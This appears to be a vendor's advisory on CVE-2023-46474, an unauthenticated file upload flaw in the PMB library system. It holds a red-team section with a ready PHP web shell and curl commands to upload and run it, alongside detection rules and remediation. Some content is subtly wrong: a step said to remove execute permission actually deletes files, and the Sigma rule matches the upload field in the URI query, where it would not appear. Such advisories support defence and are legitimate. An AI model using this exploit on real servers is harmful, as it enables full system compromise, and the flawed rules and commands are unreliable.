CVE-2023-46474

Executive Summary

CVE-2023-46474 is a critical unauthenticated file upload vulnerability in PMB (PhpMyBibli) version 7.4.8. The flaw resides in the start_import.php script, which fails to properly validate uploaded file types. A remote attacker can upload a crafted PHP file, leading to arbitrary code execution and full system compromise. This vulnerability is particularly dangerous as it requires no authentication and can be exploited over the network. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It affects the PMB (PhpMyBibli) library management system, which is a standalone PHP application. The risk is primarily to organizations self-hosting PMB instances.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file system read access.
• Integrity (I): High (H) – Full file system write access.
• Availability (A): High (H) – Potential for denial of service or full system takeover.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload flaw in the start_import.php script. This script is part of PMB's import functionality, designed to handle bulk data imports (e.g., MARC records). The script accepts file uploads via HTTP POST requests but does not validate the file extension or MIME type against a whitelist of allowed formats.

Attack Flow:

1. An attacker sends a POST request to /path/to/pmb/start_import.php with a multipart form-data body.
2. The request includes a file input named fichier (or similar) containing a PHP web shell (e.g., shell.php).
3. The script saves the uploaded file to a web-accessible directory (e.g., ./temp/ or ./import/).
4. The attacker accesses the uploaded PHP file via a web browser, triggering code execution.
5. The attacker can then execute arbitrary system commands, escalate privileges, or pivot to internal networks.

Root Cause: The start_import.php script uses move_uploaded_file() without checking the file extension or content type. The lack of input validation allows any file type to be uploaded.

Vulnerable vs. Patched Code

Vulnerable Code (PMB 7.4.8):

// start_import.php (simplified)
if (isset($_FILES['fichier'])) {
    $uploaddir = './temp/';
    $uploadfile = $uploaddir . basename($_FILES['fichier']['name']);
    if (move_uploaded_file($_FILES['fichier']['tmp_name'], $uploadfile)) {
        echo "File uploaded successfully.";
    }
}

Patched Code (Hypothetical):

// start_import.php (patched)
$allowed_extensions = ['mrc', 'iso', 'xml', 'csv'];
$file_extension = strtolower(pathinfo($_FILES['fichier']['name'], PATHINFO_EXTENSION));
if (in_array($file_extension, $allowed_extensions)) {
    $uploaddir = './temp/';
    $uploadfile = $uploaddir . basename($_FILES['fichier']['name']);
    if (move_uploaded_file($_FILES['fichier']['tmp_name'], $uploadfile)) {
        echo "File uploaded successfully.";
    }
} else {
    echo "Invalid file type.";
}

Key Differences:

• The patched version implements a whitelist of allowed file extensions.
• The patched version rejects any file that does not match the allowed list.
• The patched version should also validate MIME type and ensure the upload directory is not directly accessible via the web.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running PMB 7.4.8 with the start_import.php script accessible.
• A web shell payload (e.g., shell.php).

Exploit Steps:

1. Create a PHP web shell:

   <?php system($_GET['cmd']); ?>
   

   Save as shell.php.

2. Upload the shell using curl:

   curl -X POST -F "fichier=@shell.php" http://target.com/pmb/start_import.php
   

3. Execute commands:

   curl http://target.com/pmb/temp/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for POST requests to start_import.php with unusual file extensions (.php, .phtml, .php5).
2. Look for files created in the temp/ or import/ directories with .php extensions.
3. Check for outbound connections from the web server to unknown IPs after file upload.

Response Steps:

1. Isolate the affected server from the network.
2. Remove any unauthorized files from the upload directory.
3. Review web server logs for indicators of compromise.
4. Apply the patch or implement a WAF rule to block .php uploads to start_import.php.

Indicators of Compromise (IOCs)

File-Based IOCs:

• shell.php, cmd.php, webshell.php in /pmb/temp/ or /pmb/import/
• Any .php file in the upload directory that was not part of the original installation.

Network-Based IOCs:

• HTTP POST requests to /pmb/start_import.php with Content-Type: multipart/form-data and a file parameter named fichier.
• HTTP GET requests to /pmb/temp/*.php with a cmd parameter.

Log-Based IOCs:

• Apache/Nginx access log entries:

  POST /pmb/start_import.php HTTP/1.1
  GET /pmb/temp/shell.php?cmd=id HTTP/1.1
  

Detection Engineering

YARA Rule

rule CVE_2023_46474_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2023-46474"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-46474"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_exec = "shell_exec("
        $exec_func = "exec("
        $passthru = "passthru("
    condition:
        $php_tag and any of ($system_func, $shell_exec, $exec_func, $passthru)
}

Sigma Rule

title: CVE-2023-46474 - Unrestricted File Upload in PMB
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2023-46474 via file upload to start_import.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/start_import.php'
        cs-uri-query|contains: 'fichier='
    condition: selection
falsepositives:
    - Legitimate file imports by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-46474 - PMB Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/start_import.php"; http_uri; content:"fichier="; http_client_body; fileext:".php"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the start_import.php script if not in use, or restrict access via .htaccess:

   <Files "start_import.php">
       Require ip 192.168.1.0/24
   </Files>
   

2. Implement a Web Application Firewall (WAF) rule to block file uploads with .php extensions to start_import.php.

3. Remove the upload directory's execute permission for PHP files:

   find /path/to/pmb/temp -type f -name "*.php" -exec rm {} \;
   

Long-Term Fix:

• Upgrade to a patched version of PMB (if available) or apply the code fix shown in the "Vulnerable vs. Patched Code" section.
• Implement a file upload validation library that checks both extension and MIME type.
• Store uploaded files outside the web root and serve them via a download script.

Valters IT